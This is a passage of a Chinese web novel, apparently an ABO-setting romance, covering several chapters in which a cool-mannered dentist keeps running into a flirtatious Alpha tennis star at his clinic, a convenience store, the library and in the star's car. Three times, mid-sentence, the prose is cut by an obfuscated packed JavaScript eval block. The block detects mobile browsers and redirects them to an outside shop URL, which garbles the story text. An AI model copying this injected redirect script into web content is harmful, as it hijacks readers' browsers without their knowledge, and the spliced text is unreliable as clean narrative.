艾利欧清了清嗓子,一本正经地开口:“苏医生,您技术真好。” 字句稍微有点含混,但完全能听清。 小周在旁边忍不住“噗嗤”一声笑了出来,又赶紧捂住嘴。 苏琼林:“……” 他直接无视了这句话的内容:“可以。适应几分钟就好。训练和比赛时必须佩戴,每天结束后用冷水冲洗干净,放在专用盒子里保管。避免暴晒和接触酒精等溶剂。” 所有事项交代完毕,今日复诊也接近尾声。 艾利欧从诊疗椅上下来,活动了一下下颌,目光又回到苏琼林身上。 “苏医生,”他又开始了,试图重启社交尝试,“戴着这个打球,会不会影响我发球的气势?你知道的,有时候吼一声也能震慑对手。” 苏琼林正在摘手套。 “根据数据,护齿能减少40%以上的牙齿冲击损伤风险。至于气势,”他终于抬眼看了艾利欧一眼,“如果你需要靠吼叫来震慑对手,建议加强技战术训练,或者咨询心理医生。” 艾利欧再次被噎得无言以对。 小周在旁边努力憋笑,肩膀微微发抖。 这位巨星患者,好几次都精准撞上苏医生毒舌的枪口,而且屡败屡战,精神可嘉。 艾利欧摸了摸下巴,彻底没脾气了。 “那我下次复诊是什么时候?” “看你时间。临时罩最多维持两周,你需要在此之前预约进行正式修复。”苏琼林洗着手,声音混在水流声里,“决定好了提前联系诊所。” 艾利欧看着他洗手的样子,那双手指修长、骨节分明的手被水流冲刷着,动作一丝不苟。 他忽然心里一动,脱口而出:“苏医生,要不我们加个联系方式?万一牙齿有什么紧急情况,我也好直接问你。” 他说完,心里有点小小的期待,又觉得这借口找得有点烂。堂堂S级Alpha,网坛巨星,主动要一个Beta牙医的联系方式,说出去谁信?而且很可能被拒绝。 苏琼林关掉水龙头,拿起纸巾慢条斯理地擦着手,然后转过身,用那双黑沉沉的眸子看着艾利欧。 就在艾利欧以为他又要用什么“不符合规定”、“有事联系诊所”之类的理由拒绝时,苏琼林却淡淡开口:“可以。有问题发信息,我看到会回。” 他说着,报出了一串号码。 工作用的联系方式,给他也无妨。 艾利欧赶紧拿出手机记下,心里莫名有点小得意,仿佛打赢了一个无关紧要但意义重大的回合。 他存好号码,备注上“苏医生”三个字,想了想,又在前边加了个符号。 “行了。”他收起手机,心情颇佳地朝苏琼林挥挥手,“那下次见,苏医生。” 然后用墨镜罩上那副耀眼的笑容,转身离开了诊疗室。 门轻轻合上,诊疗室里恢复了寂静。 小周开始轻手轻脚地收拾器械,忍不住小声嘀咕:“苏医生,卢茨先生好像总是想跟您多说几句话呢……” 苏琼林顿了顿:“你想多了。” 小周:“……” 好吧,果然是这样。 她默默收拾好东西,退了出去。 苏琼林完成病历记录,点击发送保存。他向后靠在椅背上,抬手捏了捏眉心。 连续的工作让眼睛有些干涩。 他的目光无意识地扫过空荡荡的诊疗椅,耳边似乎还能听到那个金发Alpha带着轻微异国腔调的中文,喋喋不休地试图找话题的样子。 有点吵。 他心想。 而且问题很多。 但……似乎,也不算太讨厌。 8. 下班的苏医生 苏琼林站在洗手池前,水流哗哗地冲过他骨节分明的手指,消毒洗手液的味道萦绕在鼻尖,带着令人安心的熟悉洁净感。他关掉水龙头,拿起一旁的无菌毛巾,仔细地擦干每一根手指,连指缝都不放过。 做完这一切,他抬手捏了捏眉心,眼底浮上一丝不易察觉的疲惫。连续几个小时的高度专注,即使是他,也会感到精神上的耗损。 今天最后一个病人有位信息素极其敏感的Omega伴侣,因为自家Alpha的犬牙修复问题焦虑不已,反复确认细节,耗费了他比预期更多的时间。 不过,总算是顺利解决了。 他脱下白大褂,露出自己的浅灰色衬衫和黑色长裤,瞬间从诊疗室里绝对权威的苏医生,变回了气质清冷、略显疏离的普通青年。 苏琼林关掉电脑,按掉开关,诊所里最后一点人造光源也熄灭了。 拿起手机和钥匙,苏琼林走出诊所。 傍晚的风带着些许凉意,吹散了残留在他鼻尖的消毒水味道。 他习惯性地走向诊所附近那家24小时便利店,他需要一杯咖啡因来驱散疲惫,顺便为晚上查阅文献提神。 他的大脑还在无意识地复盘着今天那例复杂的标记齿根管治疗方案的可行性,某个关键步骤的显微操作角度似乎还有优化的空间…… 自动门“叮咚”一声滑开,便利店里明亮的灯光和暖空调的气息扑面而来。苏琼林径直走向饮料区,目标明确地拿起一瓶罐装黑咖啡,转身要去柜台结账。 咖啡反正都是苦,他不怎么挑剔。 就在这时,冷藏柜的另一侧拐角,一个高大身影也正好转身,两人险些撞上。 苏琼林下意识地后退半步,让开空间。对方也敏捷地侧身,手里拿着一瓶运动饮料。 “抱歉……”对方先开口,声音和腔调都有点耳熟。 苏琼林抬眼看过去。 对方戴着鸭舌帽,帽檐压得有点低,脸上还罩着个黑色口罩,帽檐和口罩遮住了大半张脸,但那双湛蓝如同晴朗天空般的眼睛,以及眼神中那份独特的自信和活力,让他很快将人对上了号。 是艾利欧·卢茨。 “苏医生?”对方说着,很自然地抬手摘下了口罩,露出一张足够登上任何体育杂志封面的脸。 金色的发丝从耳旁垂下,健康的小麦色肌肤以及左边脸颊上那个清晰可见的标志性小梨涡,让人不容错认。 苏琼林愣了一秒。 倒不是他对这张脸记忆有多深刻,但这声音和这眼神,以及这种走到哪儿都像自带聚光灯的存在感,让他很快就想了起来。 “卢茨先生。”苏琼林点了点头,语气平淡。 便利店就在诊所旁边,在里面碰到之前的患者也不足为奇。只是,像艾利欧这样的网坛巨星也会来便利店买东西吗? 想象力匮乏的他还以为对方除了网球以外,剩下的全部都有助理代劳呢。 虽然才见过两次,但艾利欧似乎对他的冷淡早已习惯,反而笑容更盛了些,晃了晃手里的运动饮料:“真巧啊,苏医生。你也住这附近?” 也? “不,”苏琼林言简意赅地回应,举了举手里的咖啡罐,准备去结账,“只是习惯来这里买这个。” “哦……”艾利欧点点头,很自然地就跟上了苏琼林走向收银台的脚步,“我刚结束训练,过来买点水。”他顿了顿,又补充道,“这边环境不错,挺安静的。” 苏琼林“嗯”了一声,算是回应。他把咖啡罐放在柜台上,掏出手机扫码付款。 艾利欧也付了饮料的钱,两人几乎同时走出便利店。 傍晚的凉风吹来,带着城市特有的混杂气息。 “苏医生,往哪个方向走?”艾利欧很自然地问道,拧开瓶盖喝了一口水。 苏琼林指了指左边:“这边。” “巧了,我也这个方向。”艾利欧笑容灿烂,“一起走一段?” 苏琼林看了看那个方向,又看了他一眼。路线重合,似乎没有理由刻意拒绝一个只是顺路的患者,而且他本身也不是那种因为避免麻烦特意绕远路的人。 他点了点头,没说话,先迈开了步子。 于是,网坛巨星和他的牙医,就这么并肩走在傍晚的街道上。一个穿着运动服,高大挺拔,活力四射;一个穿着衬衫长裤,身形修长,气质清冷。组合有点怪异,但放在下班人流渐多的街头,倒也不那么显眼。 艾利欧显然不打算让这段路在沉默中度过。 “苏医生经常来这家店?”他找了个还算安全的话题。 “嗯。” “这咖啡味道怎么样?”艾利欧瞥了眼苏琼林手里那个看上去没什么特别的黑色罐子,“罐装咖啡,我还没尝试过呢?” “提神而已。” 艾利欧被噎了一下,他习惯了被人接话,也习惯了自己开启的话题能引来更多的交流。 但遇到苏医生这种情况,他也不气馁,换了个方向:“我刚从训练场过来,今天的强度有点大,得多补充点电解质。” 他晃了晃手里的运动饮料。 不是,你们运动员对于入口的东西不应该很慎重才对吗? 按艾利欧的知名度来说,饮料不可能没有代言,还要出来买?实在费解。 不过,这跟他这个牙医也没什么关系。 他侧头看了艾利欧一眼,出于职业本能地提醒了一句:“运动后大量出汗,注意电解质平衡是对的。但含糖饮料还是要适量。” 唔,含糖饮料? 苏琼林没忍住又看了艾利欧一眼。 艾利欧眼睛微微一亮:“明白!苏医生放心,我有专门的营养师盯着呢。”他趁机又拉近距离,“苏医生平时下班后都做些什么?像今天这样买杯咖啡,然后呢?” 说实话,他想象不出苏琼林除了看牙以外的其他爱好…… 苏琼林的回答果然没超出艾利欧的预料:“看书,整理病例。” 艾利欧:“……不运动吗?” 作为运动人士,他很难想象有人过着如此静态的生活。尤其是对方看起来身形匀称,并不孱弱。 每天工作都够累了,谁还想做运动呢?不过这样说,感觉有点不利于自己的专业形象。 苏琼林淡淡瞥了他一眼,举起自己拿着咖啡罐的右手:“牙医的手不能受伤。” 艾利欧:“……” 明明有那么多不用手的运动。 但好吧,这个理由艾利欧也不想反驳。他想起苏琼林操作器械时那稳定得可怕的手指,确实,那是人家吃饭的家伙,可能是有规避风险的必要。 两人走过一个十字路口,傍晚的车流有些密集。一辆车速度稍快,贴着路边驶过,带起一阵风。 艾利欧几乎是下意识地伸出手,虚虚地扶了一下苏琼林的手肘,将他往自己这边带了一点:“小心车。” 他的动作很快,Alpha常有的保护本能让他的动作带着不容拒绝的力道。 苏医生金贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696202|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手可不能受伤! 苏琼林的身体僵了一下。 他能感觉到艾利欧手指隔着薄薄衬衫布料传来的温度和力道,并不重,甚至可以说是礼貌的,但那种属于Alpha的、充满生命力的触感,以及随之而来的一丝被收敛得很好却依旧存在的“烈日雪松”气息,让他有种被侵入领地的微妙不适。 他不习惯这种突如其来带有掌控意味的触碰。 即使隔着衬衫布料,那短暂接触带来的热度和力量感也清晰可辨。 他立刻微微侧身,脱离了那虚扶的范围:“我能看清路。” 艾利欧的手停在半空,随即自然地收回,插进裤袋里。 他脸上笑容不变,眼神却敏锐地捕捉到,苏医生那总是白得有些过分的耳廓,似乎有点发红? 是错觉吗?还是因为傍晚的风有点凉?又或者是…… 这个发现让艾利欧心里莫名有点雀跃。 原来总是冷着脸的苏医生也不是完全无动于衷嘛! 他暗自笑了笑,觉得此刻的苏医生比起诊疗室里所见,多了点人气儿。 又走了一段,到了一个岔路口,两人总算要分道扬镳。 苏琼林停下脚步,拐过弯就是他住的小区了:“我往这边。” “哦,好。”艾利欧也停下,他的酒店得右转。 他看着苏琼林,忽然想起什么似的。 “对了,苏医生,我临时安排了场表演赛,时间可能有点调整。下次复查,能提前一点吗?” 苏琼林拿出手机,点亮屏幕,查看了一下日程:“周五上午九点四十有个空档。” “行,那就周五上午。”艾利欧爽快应下,笑容在渐暗的天色里依然耀眼,“下次见,苏医生。” 他转身,潇洒地挥了挥手,迈着长腿融入前行的人流。 苏琼林站在原地,看着那个高大挺拔、金发耀眼的背影越来越远。 他微微蹙眉,随即转身,朝着自己的住处走去。 只是,走了几步,他又无意识地抬手,碰了碰刚才被艾利欧扶过的手肘。 那里似乎还残留着一丝陌生的温度。 嗯,大概是错觉。 苏医生想。 还是回去看文献比较重要。 艾利欧走出几步,拐过街角,确定苏琼林看不到自己后,脚步慢了下来。 他掏出手机,手指飞快地敲击屏幕,拨通了一个号码。 电话很快被接起,电话另外一端出现了经纪人霍克熟悉的声音。 “艾利欧?训练结束了?感觉怎么样?牙齿没事吧?” “训练挺好,牙齿也没事,苏医生技术不错。”艾利欧语气轻松,然后话锋一转,“对了,我想在这个城市买套房,地段要靠近市中心训练馆,但环境要安静点的区域。” 电话那头沉默了两秒,经纪人霍克显然有些意外:“买房?你不是只待几周打比赛吗?之前都是住酒店套房,怎么突然想买房了?” 艾利欧拧开瓶盖,又喝了一口水,湛蓝色的眼睛里闪着饶有兴味的光。 “嗯,突然觉得,这个城市挺不错的。今天的训练馆感觉也不错……”他顿了顿,补充道,“先查查看吧。” 挂了电话,艾利欧回头看了一眼苏琼林离开的方向,嘴角不自觉地向上扬起。 下次复查是周五上午。 嗯,还有几天。 他得想想,下次见面,该找个什么话题,才能让那位冷面医生再多说几句话呢? 9. 苏医生的新同事 苏琼林住的地方,格局简单,一室一厅。色调也很统一,和他的人一样,透着一种疏离的冷淡。 客厅最大的家具是书柜,里面塞满了专业书籍和期刊,旁边一张宽大的书桌,上面除了电脑显示器,就是堆叠整齐的病历夹和几本摊开的原文书。 空气里没有多余的生活气息,只有他刚带回来的那罐黑咖啡被打开后逸散出的微苦醇香。 他坐在书桌前,屏幕冷白的光映着他没什么表情的脸。 手指在鼠标滚轮上滑动,页面上的文献一行行掠过,是关于信息素导管显微吻合术的最新进展。他的思维完全沉浸在那细微如发丝的解剖结构里,试图从中找出能进一步优化手术精度、减少术后反应的可行方案。可能因为以前的世界从未接触过,所以他对这东西格外慎重。 直到放在桌角的手机屏幕忽然亮起,嗡地震动了一下。 苏琼林的思路被打断,眉头蹙了一下。 他很少在专注工作时被干扰,这个时间点,如果诊所有急事应该会打电话。 他略带不耐地瞥了一眼屏幕,是工作号收到了一条新的短信,来自一个没有任何印象的号码。点开,内容跳了出来: 「苏医生,护齿用冷水冲洗后需要擦干吗?还是自然风干?」 下面还附了一张图片,一个透明的运动护齿,湿漉漉地躺在洗手池边,旁边还有几滴水珠。 是艾利欧·卢茨,那个S级Alpha患者。 苏琼林的目光在那行字和图片上停留了两秒。 这种基础护理问题,取模当天发放的《护齿使用和维护须知》上写得清清楚楚,第一条就是。 这位巨星患者是根本没看,还是故意找茬? 他本不想理会,指尖已经悬在了删除键上方。 但职业素养到底占了上风。 万一对方真的没看,或者理解有误,导致护齿保养不当滋生细菌,最终影响的还是牙齿健康和治疗效果,进而可能反过来质疑他的治疗…… 他可不想背这个锅。 苏琼林面无表情地打字回复:「用软布吸干表面水分,避免细菌滋生。」 点击发送。 很好,标准答案。 这下总该没问题了。 几乎是在信息显示送达的瞬间,对方的回复就弹了出来,快得让人怀疑对方是不是一直抱着手机等着。 「明白了!今天训练戴了护齿,感觉咬合更稳了,谢谢你特意调整配方(●''?''●)」 后面还跟了个笑脸符号。 苏琼林盯着那个突兀的笑脸符号,动作顿住了。 特意调整配方? 他回想了一下,调整材料配比以适应运动员的特殊咬合和发力需求,是定制护齿的标准流程,针对所有有类似需求的患者,并非特意为谁。 至于“咬合更稳”…… 是心理作用吗?护齿的主要功能是缓冲防护,对咬合稳定性的提升微乎其微,除非他之前的咬合本身就有问题而自己没发现? 职业性的怀疑让他多思考了两秒,但最终还是归于理性。 这大概率是患者的主观感受偏差吧。 他冷静地纠正:「材料配比是标准流程,并非特意。感觉稳定可能是因为护齿提供了额外支撑,这属于正常现象。」 发送。这下应该结束了。 但艾利欧似乎完全没被他的冷淡打击到,信息很快又跟了过来:「但效果很好!对了,周五复查我需要准备什么吗?」 「保持口腔清洁即可。」苏琼林耐着性子回复,希望用这几个字彻底结束这场在他看来毫无必要的对话。 他盯着屏幕,等了十秒,没有新的消息进来。 很好,对话结束了。 苏琼林放下手机,重新将注意力拉回文献。 但不知是不是刚才那短暂的打断影响了节奏,他发现需要花比平时多几倍的时间,才能重新聚焦在那些复杂的专业术语和数据分析上。 他强迫自己看了几行字,最终还是拿起手机,将那个陌生号码备注成了“艾利欧·卢茨(患)”。 嗯,分类明确,便于管理。 他端起旁边的黑咖啡,喝了一大口,驱散了那一点点不应有的分神。 ------------------------------------- 第二天清晨,诊所里的消毒水味一如既往地令人安心。 苏琼林提前到了半小时,正在准备今天第一个患者的器械,助理小周轻手轻脚地走进来,低声说:“苏医生,新来的顾医生想跟您打个招呼,现在方便吗?” 苏琼林关掉水龙头,用无菌毛巾擦干手,点了点头。 小周侧身让开,一个穿着熨帖白大褂的年轻男性走了进来。他身形高挑,比例很好,白大褂穿在他身上丝毫不显臃肿,反而衬得气质温文。他的头发是深褐色的,修剪得干净利落,面容清俊,鼻梁上架着一副无框眼镜,镜片后的眼睛带着温和的笑意。 他比苏琼林年长几岁,之前在城东一家颇有名气的私立口腔医院担任主治,资历不浅。他的加入让诊所负责人很是惊喜,毕竟他们诊所虽然在小圈子里名声渐响,但规模和知名度还是欠缺一点。 “苏医生,您好。我是今天正式入职的顾云深。”他开口,声音清朗,语调不疾不徐,“早就听说您在处理显微根管方面的技术非常精湛,我手上刚好有个比较复杂的病例,涉及标记齿的根管变异,不知道能不能有机会向您请教一下?” 他说着,将手中的平板电脑递过来,上面是患者的牙齿影像资料。 他身上有淡淡的Alpha信息素,是某种清雅的木质调,但收敛得极好,几乎闻不到什么攻击性或压迫感。 苏琼林接过平板,快速浏览了一下。 确实是个复杂病例,根管钙化,且与导管的距离非常近,常规操作风险很高。 他点了点头:“麻烦资料发我工作邮箱。我下午有空仔细看看。” 顾云深收回平板,脸上露出了温和的微笑:“太好了,谢谢苏医生。我整理好就发给您。”他顿了顿,像是随口一提:“另外,苏医生,中午有空吗?附近新开了家日料,食材挺新鲜的,算是感谢您指点,也想多向您请教一下诊所里的情况。” 苏琼林几乎是不假思索地拒绝:“我习惯独自用餐。” 他的午餐时间通常是固定的,用于快速补充能量,以及短暂放空大脑,为下午的工作做准备。社交性质的聚餐,不在他的日程规划内。而且,他不认为同事之间需要这种形式的“请教”。 顾云深被拒绝,脸上也没有丝毫尴尬,只是了然地点点头,笑容依旧温和:“理解。那下次有机会再聊。不打扰您了。” 他分寸感把握得很好,说完便礼貌地示意了一下,转身离开了诊疗室,没有多余的纠缠。 苏琼林对此很满意。 这个新同事,专业、有礼、懂得保持距离,是他欣赏的类型。 真是个不错的同事。 比起某个明明只是患者,却总试图跨越医患边界、问东问西的金发Alpha,要让人省心得多。 ------------------------------------- 夜晚再次降临。 苏琼林刚洗完澡,擦着头发从浴室出来,放在床头柜上的手机又亮了。还是那个备注为“艾利欧·卢茨(患)”的号码。 「苏医生,刚才训练完感觉牙齿有点胀痛,正常吗?」 苏琼林擦头发的动作停住了。 胀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696203|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛?临时保护罩覆盖良好,裂纹没有扩展迹象,按理说不应该有胀痛感。 是微裂纹刺激牙髓的延迟反应?还是训练中咬合过紧导致的肌肉疲劳放射痛?或者是他昨天吃了刺激性食物引发的牙龈炎症加重? 各种可能性在脑中快速闪过。 他皱着眉,本想直接打电话过去问清楚细节,但看了眼时间,已经不算早。 而且,为这种不确定的情况打电话,似乎有点小题大做。 他放下毛巾,拿起手机,决定先给与初步指导。 「临时罩子适应期可能有无菌性炎症反应,避免过热饮食,观察24小时。若持续疼痛或加剧,及时联系。」 发送。 他希望自己的判断是正确的,也希望对方能遵医嘱。 这次,回复没有立刻到来。 苏琼林等了片刻,确定没有新消息,便打算继续擦干头发然后看书。 就在他拿起毛巾时,手机又嗡了一声。 「好的!你还没休息?」 苏琼林看着这个问题,感觉有点莫名。 这个问题已经完全超出了医患沟通的范畴了。 苏琼林直接无视,将手机调成静音,屏幕朝下扣在桌上。 几秒后,手机隔着桌面又轻微震动了一下。 他拿起手机一看,还是那个金发Alpha的。 「周五见。」后面跟了个小小的网球表情。 苏琼林盯着那个跳跃的绿色小球图案,最终还是没忍住,抬手按下了锁屏键。 屏幕暗下去,房间彻底安静下来。 他走到窗边,看着外面城市的灯火。 手指无意识地蜷缩了一下,仿佛还能感觉到昨晚便利店外,那个金发Alpha手掌隔着衬衫传来的短暂温度和力道。 有点烦。他想。 这个病人,问题可真多。 苏琼林闭上眼,揉了揉太阳穴。 一定是太累了。 他需要休息。 ------------------------------------- 第二天上午,诊所稍显清闲。 小周趁着给苏琼林送新打印出来的病历资料的间隙,脸上带着压抑不住的兴奋,小声又快速地说:“苏医生!您看昨天的体育新闻了吗?卢茨先生在一个赛后采访里,提到特别感谢他的牙医呢!虽然没直接说名字,但说的肯定是我们这儿吧!” 苏琼林接过病历的手顿了一下,抬起头。 小周用力点头,眼睛亮晶晶的:“真的!网上都有片段了!他说最近状态调整得很好,还特别感谢了一位技术非常厉害的牙医,帮助他解决了点小问题,让他能更专注比赛!” 苏琼林没说话,只是低头翻开了新的病历夹。 小周还在兴奋地嘀咕:“卢茨先生人真好,还帮我们诊所做宣传了呢……” “去做事。”苏琼林淡淡地打断她。 小周吐了吐舌头,赶紧抱着托盘出去了。 诊疗室里恢复了安静。苏琼林看着病历上的字,却一时没有看进去。 他想起昨晚那条关于“牙齿胀痛”的咨询短信,再结合今天小周说的采访内容…… 他心中隐约闪过一丝怀疑。那个金发Alpha,该不会是故意的吧? 用这种看似无意的方式,提醒他自己的存在? 这个念头一闪而过,很快就被他按了下去。 应该只是巧合。 一个全球瞩目的网球巨星,哪有那么多闲工夫绕这种弯子。 他甩开这点莫名的思绪,将注意力重新集中到眼前的病历上。 等艾利欧的牙齿问题彻底解决,自然就不会再有这些多余的互动了。 他如此确信着。 10. 苏医生觉得莫名其妙 第二天下午的预约结束后,苏琼林就提前离开了诊所。他换下了白大褂,穿着简单的白色衬衫和深色休闲长裤,整个人看起来更清瘦了些,气质里的那股疏离感也因此更加明显。 他打算去市图书馆一趟,有几本最新的牙科期刊只有馆藏纸本,还没电子化。 在这个信息爆炸的时代,坚持出版纸本刊物的老古板出版社居然还没倒闭,也是奇迹。 初秋的阳光透过稀疏的云层洒下来,带着点慵懒的暖意,但他步伐依旧很快,目标明确地朝着市图书馆的方向走去。 市图书馆永远是那副安静到近乎肃穆的样子,空气中弥漫着旧书纸页和灰尘混合的特殊气味。 苏琼林直接上了专业期刊区,这里人更少,只有几个头发花白的老教授模样的人在埋头翻阅。 他目标明确,很快就在架子上找到了那几本厚重的期刊。 抽出来,走到靠窗的阅读桌前坐下,立刻沉浸了进去。 指尖划过纸张上复杂的显微图像和数据表格,世界仿佛只剩下他和眼前的专业问题。 窗外透进来的光勾勒着他专注的侧脸,长长的睫毛在眼下投下淡淡的阴影。 时间悄然流逝。 正当他翻到一篇关于信息素导管超显微结构分析的论文,看得入神时,一个绝不应该出现在这里的声音,在他身后响起。 “苏医生?” 苏琼林翻页的手指顿住了。 这个声音…… 他抬起头,还没来得及转头,对方高大身影就已经绕到了他桌旁,挡住了部分光线。 艾利欧·卢茨站在那儿,脸上带着毫不掩饰的“惊喜”笑容,左边脸颊那个小梨涡清晰可见。 他穿着一件宽松的浅蓝色卫衣搭配运动长裤,头上反扣着一顶黑色鸭舌帽,帽檐下金色的发丝有些随意地翘着,整个人看起来活力十足。 “真巧啊,”艾利欧的声音压低了,但在安静的图书馆里依然清晰,“没想到会在这里遇到你。” 巧? 网球运动员跑图书馆来的这种巧? 苏琼林看了看他那张笑得过于灿烂的脸,合上期刊,面无表情地看着手里空空的艾利欧:“卢茨先生。有事?” “我刚在附近参加完一个商业活动,路过图书馆就进来感受一下文化氛围。虽然我平时大多数时候都打网球,但对每个城市的图书馆都很感兴趣呢。”艾利欧解释得自然流畅,目光落到苏琼林手边的期刊封面上,“《标记齿科显微技术》?苏医生,你看的书真专业。” 他语气里的赞叹听起来倒是真心实意。 感受文化氛围感受到专业期刊区?你猜我信不信? “嗯,专业需求。”苏琼林言简意赅,不打算继续这个话题。 他重新打开期刊,目光落回书页上,用行动表示“我要继续看书了,你自便”。 但艾利欧显然没打算“自便”。 他非但没走,反而很自然地在苏琼林旁边的空椅子上坐了下来,手肘撑在桌面上:“苏医生经常来图书馆?” …… 苏琼林觉得这对话走向有点熟悉。 他抬眼,对上艾利欧那双写满了“我就是想跟你聊天”的湛蓝眼睛,直接终结了话题:“不经常。” “哦……” 艾利欧被噎了一下,但他韧性十足,立刻换了个方向:“这家图书馆环境不错,挺安静的,适合看书。” 苏琼林没接话,低头继续看论文,希望对方能识趣点。 安静了大概不到三十秒。 “苏医生,你平时都喜欢看什么类型的书?除了这种专业的。” 我看什么有必要告诉你吗? “不看。” “一点娱乐活动都没有吗?” 牙医空余时间搞什么娱乐活动没必要说给患者听吧? “看文献不算娱乐?” 艾利欧张了张嘴,一时竟无言以对。他挫败地揉了揉后颈,感觉自己像是在对一块冰山进行热情围攻,除了得到几句能把天聊死的回答外,毫无进展。 但他可是艾利欧·卢茨,网球场上的王者,从不轻易放弃。 他又试着找了几个话题,从天气聊到图书馆的建筑风格,但苏琼林的回应不是“嗯”就是“还行”。 艾利欧终于有点没辙了。 他靠在椅背上,看着苏琼林专注到仿佛外界一切都不存在的侧脸,心里那点不服输的劲头和强烈的好奇心混合在一起,像有只猫爪在轻轻挠。 这人怎么能这么……这么……这样呢? 苏琼林虽然看似在专注看书,但身边坐着这么个存在感极强的“发热体”,他很难完全忽略。 艾利欧身上那股像是阳光晒过织物的干净味道,混合着他那被收敛得很好但依旧若隐若现的“烈日雪松”信息素,无声地侵扰着他周围的空气。 他不动声色地往窗边挪了挪,试图拉开一点距离。 就在这时,窗外原本还算明亮的天空,忽然以肉眼可见的速度暗了下来,没过多久,豆大的雨点就噼里啪啦地砸在了图书馆的玻璃窗上。 下雨了。 苏琼林看了一眼窗外,雨势不小,而且看起来一时半会儿没有停歇的意思。 他没带伞。 虽然图书馆离他住的地方不算太远,但冒雨跑回去显然不是明智之举。 他微微蹙眉。 “哇,下雨了。”艾利欧也看向了窗外,语气很轻松,“还挺大的。” 苏琼林没理他,拿出手机看了看时间,又看了看天气APP,预测显示这场雨至少还要下两、三个小时。 他思考着是等雨小点再走,还是直接叫个车。 “苏医生,你没带伞吧?”艾利欧转过头,笑容重新回到脸上。 苏琼林瞥了他一眼,没说话。 这不废话吗? “我开车了,正好顺路,我送你回去吧?” 苏琼林的第一反应是拒绝。 他不想欠患者人情,而且,跟艾利欧·卢茨单独待在密闭的车厢里…… 他想象了一下那个画面。 唔,想象不出来。 “不麻烦卢茨先生了,我叫车就行。”他低下头,开始操作手机上的打车软件。 “这个时间点,又下着雨,车可不好叫。”艾利欧很了解情况,他虽不是本地人,但打车的经历也不少。毕竟他也不可能在每个比赛城市都买车,而且打车很方便,“反正我没事,送你一趟很方便的。” 苏琼林看着屏幕上缓慢跳动的排队数字,又看了看窗外丝毫没有减弱迹象的雨幕,权衡了一下。 再拒绝似乎显得过于矫情了,而且确实要等很久。 “好。”他松口,“谢谢。” 艾利欧脸上的笑容瞬间放大,左边那个梨涡深得能陷进去。 “不客气,举手之劳。” … 两人一前一后走出图书馆,雨势丝毫没有减弱的意思。 “我车停在地下停车场,直接开上来接你?” “不用麻烦,我跟你走过去。” 几步路而已。 走到停车场,艾利欧拉开一辆看起来很低调但车型流畅的黑色SUV车门,示意苏琼林上车。 车内空间宽敞,收拾得很干净,只有一股淡淡的车载香氛味道。 苏琼林上了车,又说了声“谢谢”。 “没事儿,地址是?” 他大概知道苏医生住的位置,但具体地址还是得再确认一下。 苏琼林报了自己小区的名字。 “OK。”艾利欧设置好导航,平稳地将车驶出车位。他播放了一点轻音乐,音量调得很低。 车子顺畅地滑出地下停车场,驶入被雨水笼罩的街道。 车厢内一时陷入了沉默,只有雨刮器规律的声音和空调的细微送风声。 苏琼林系着安全带,目光望向窗外飞速掠过的街景。 他穿越后一直无法跟人建立起很亲密的关系,有点不太习惯这种私密的的独处,尤其是和艾利欧这样的人。 他习惯了掌控环境,而此刻,他更像是被暂时“收纳”进了对方的地盘。 艾利欧似乎毫无觉察,他正专注地开着车,偶尔瞥一眼旁边的苏琼林。 苏医生安静地看着窗外,侧脸线条在车内昏暗的光线下显得有些柔和,几缕发丝贴在额角,让他平时那种冷硬的距离感削弱了不少,看起来…… 有点乖。 这个念头让艾利欧自己都觉得有点好笑。 他居然会用“乖”来形容苏琼林。 在一个红灯路口停下时,艾利欧趁着间隙,打破了沉默:“说起来,打网球看着风光,其实伤病也是常客。” 苏琼林闻言,目光从窗外收回,看了他一眼。 艾利欧目视前方,侧脸线条在车内昏暗的光线下显得有些硬朗:“我十九岁的时候,膝盖受过一次挺严重的伤。当时医生甚至说我可能再也打不了职业赛了。” 苏琼林安静地听着。 “那时候真的很难熬。”艾利欧轻轻笑了一下,带着点自嘲,“每天就是复健、疼痛、怀疑。觉得自己完了。” “但没办法,只能咬牙扛着,一遍遍重复那些枯燥到极点的动作。那时候我就明白,到了那种境地,能依靠的只有自己,必须把自己从泥潭里拉出来。” 他的语气很平淡,但苏琼林能想象出那背后的艰辛。 顶级运动员的荣耀,往往是用常人难以忍受的汗水和伤痛铸就的。 苏琼林难得接了一句:“治疗的成功,也需要患者本人的努力,很大程度上取决于患者的信任和配合。” 艾利欧有些意外地挑了下眉:“就像你现在,信任我的开车技术?” 苏琼林面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696204|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无表情地指了指自己身前的安全带:“我系了安全带。” “噗——” 艾利欧一下子笑出声,左边脸颊的梨涡深深陷下去:“苏医生,你真是……” 他摇摇头,没说完,但笑意明显。 车子在一个红灯前缓缓停下。 艾利欧转过头,目光落在苏琼林脸上。 